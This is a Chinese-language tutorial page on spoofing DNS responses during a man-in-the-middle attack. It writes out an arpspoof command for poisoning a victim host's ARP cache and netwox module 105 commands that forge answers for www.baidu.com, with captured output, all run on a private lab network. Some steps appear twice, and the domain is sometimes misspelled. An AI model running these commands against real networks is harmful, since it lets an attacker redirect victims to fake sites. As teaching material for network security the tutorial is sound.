如何伪造DNS响应?
在中间人攻击中,当用户访问特定的网站,可以通过伪造 DNS 响应,将用户引导到一个虚假的网站。netwox 工具提供的编号为 105 的模块,可以用来伪造 DNS 响应包。
【实例】已知主机 A 的 IP 地址为 192.168.59.133,主机 B 的 IP 地址为 192.168.59.135。下面介绍主机 A 对主机 B 实施 ARP 攻击,在主机 A 上监听主机 B 的 DNS 请求,并伪造 DNS 响应。
1) 主机 A 对主机 B 实施 ARP 攻击,执行命令如下:
2) 在主机 A 上监听主机 B 的 DNS 请求包,并伪造 DNS 响应,使其返回指定的 DNS 响应。
例如,设置 DNS 响应包域名 www.baidu.con (http://www.baidu.con) 对应的 IP 地址为 101.102.103.104,权威名称服务器 123.baidu.com 对应的 IP 地址为 55.66.77.88。执行命令如下:
3) 当主机 B 上产生了 DNS 请求,该请求将会被主机 A 监听到,并返回设置的 DNS 响应包的信息。
例如,当主机 B 访问 www.baidu.con (http://www.baidu.con),主机 A 监听并返回的 DNS 响应如下:
【实例】已知主机 A 的 IP 地址为 192.168.59.133,主机 B 的 IP 地址为 192.168.59.135。下面介绍主机 A 对主机 B 实施 ARP 攻击,在主机 A 上监听主机 B 的 DNS 请求,并伪造 DNS 响应。
1) 主机 A 对主机 B 实施 ARP 攻击,执行命令如下:
root@daxueba:~# arpspoof -i eth0 -t 192.168.59.135 192.168.59.2
该命令表示对主机 B 实施 ARP 攻击,伪造的是网关 192.168.59.2。执行命令后输出信息如下:
0:c:29:fd:de:b8 0:c:29:ca:e4:66 0806 42: arp reply 192.168.59.2 is-at
0:c:29:fd:de:b8
0:c:29:fd:de:b8 0:c:29:ca:e4:66 0806 42: arp reply 192.168.59.2 is-at
0:c:29:fd:de:b8
0:c:29:fd:de:b8 0:c:29:ca:e4:66 0806 42: arp reply 192.168.59.2 is-at
0:c:29:fd:de:b8
0:c:29:fd:de:b8 0:c:29:ca:e4:66 0806 42: arp reply 192.168.59.2 is-at
0:c:29:fd:de:b8
··· #省略其他信息
2) 在主机 A 上监听主机 B 的 DNS 请求包,并伪造 DNS 响应,使其返回指定的 DNS 响应。
例如,设置 DNS 响应包域名 www.baidu.con (http://www.baidu.con) 对应的 IP 地址为 101.102.103.104,权威名称服务器 123.baidu.com 对应的 IP 地址为 55.66.77.88。执行命令如下:
root@daxueba:~# netwox 105 -h www.baidu.com -H 101.102.103.104 -a 123.baidu.com -A 55.66.77.88
执行命令后,没有输出信息。因为主机 B 没有产生 DNS 请求。3) 当主机 B 上产生了 DNS 请求,该请求将会被主机 A 监听到,并返回设置的 DNS 响应包的信息。
例如,当主机 B 访问 www.baidu.con (http://www.baidu.con),主机 A 监听并返回的 DNS 响应如下:
root@daxueba:~# netwox 105 -h www.baidu.com -H 101.102.103.104 -a 123.baidu.com -A 55.66.77.88 DNS_question_______________________________________________. #DNS请求 | id=22684 rcode=OK opcode=QUERY | | aa=0 tr=0 rd=1 ra=0 quest=1 answer=0 auth=0 add=0 | | www.baidu.com. A | |__________________________________________________________ | DNS_answer________________________________________________. #DNS响应 | id=22684 rcode=OK opcode=QUERY | | aa=1 tr=0 rd=1 ra=1 quest=1 answer=1 auth=1 add=1 | | www.baidu.com. A | | www.baidu.com. A 10 101.102.103.104 | | 123.baidu.com. NS 10 123.baidu.com. | | 123.baidu.com. A 10 55.66.77.88 | |__________________________________________________________ |其中,DNS_question 部分为监听到的主机 B 发送的 www.baidu.com (http://www.baidu.com) 的 DNS 请求包信息,DNS_answer 部分为主机 A 伪造的 DNS 响应信息,成功返给了主机 B。
所有教程
- C语言入门
- C语言编译器
- C语言项目案例
- 数据结构
- C++
- STL
- C++11
- socket
- GCC
- GDB
- Makefile
- OpenCV
- Qt教程
- Unity 3D
- UE4
- 游戏引擎
- Python
- Python并发编程
- TensorFlow
- Django
- NumPy
- Linux
- Shell
- Java教程
- 设计模式
- Java Swing
- Servlet
- JSP教程
- Struts2
- Maven
- Spring
- Spring MVC
- Spring Boot
- Spring Cloud
- Hibernate
- Mybatis
- MySQL教程
- MySQL函数
- NoSQL
- Redis
- MongoDB
- HBase
- Go语言
- C#
- MATLAB
- JavaScript
- Bootstrap
- HTML
- CSS教程
- PHP
- 汇编语言
- TCP/IP
- vi命令
- Android教程
- 区块链
- Docker
- 大数据
- 云计算